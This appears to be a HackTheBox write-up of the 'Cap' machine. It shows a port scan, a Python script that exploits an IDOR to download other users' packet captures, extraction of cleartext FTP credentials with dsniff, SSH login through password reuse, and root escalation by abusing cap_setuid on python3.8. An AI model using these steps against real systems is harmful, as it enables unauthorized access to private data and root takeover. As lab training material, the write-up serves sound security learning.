Skip to content
HackIndex logo

HackIndex

Cap Writeup - HackTheBox

Easy Linux
HackTheBox Discuss on Discord

Last updated May 10, 2026 • 2 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ nmap -sV $TARGET_IP 
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard

Three ports. FTP, SSH, and a Python web app on port 80. vsftpd 3.0.3 has no useful RCE — only a DoS in searchsploit. The web app is the attack surface.

Initial Access

IDOR on PCAP Download Endpoint

Browsing to http://$TARGET_IP/ lands on a security dashboard. The app generates network capture reports accessible at /data/<id> and downloadable at /download/<id>. The ID is a sequential integer with no access control — changing the number in the URL accesses other users' captures.

Automate downloading all captures in range:

# iterate.py
import requests, os

os.makedirs('downloads', exist_ok=True)
session = requests.Session()

for i in range(-100, 100):
    resp = session.get(f"http://$TARGET_IP/download/{i}")
    if resp.status_code != 200:
        continue
    with open(f"downloads/{i}.pcap", "wb") as f:
        f.write(resp.content)
    print(f"http://$TARGET_IP/download/{i}: {resp.status_code}")
┌──(kali㉿kali)-[~]
└─$ python3 iterate.py

FTP Credential Extraction from PCAP

Analyse all downloaded captures for cleartext credentials:

┌──(kali㉿kali)-[~]
└─$ for i in {0..17}; do dsniff -p ./downloads/$i.pcap && echo '---'; done

PCAP 0.pcap contains an FTP session in cleartext:

>>>>> 01/06/26 13:37:44 tcp 192.168.196.1.54411 -> 192.168.196.16.21 (ftp)
USER nathan
PASS $NATHAN_PASSWORD

SSH as nathan

The FTP credentials work directly on SSH — password reuse:

┌──(kali㉿kali)-[~]
└─$ ssh nathan@$TARGET_IP

Privilege Escalation

Python cap_setuid Capability Abuse

Linpeas flags a dangerous capability on the system Python binary:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

cap_setuid allows a process to change its UID to any value including 0, without being root. Since python3.8 has this capability set, calling os.setuid(0) from within Python drops directly to root:

user@host ~ $ /usr/bin/python3.8 
import os
os.setuid(0)
os.system("/bin/bash")
root@cap ~ # whoami 
root

Root shell.

References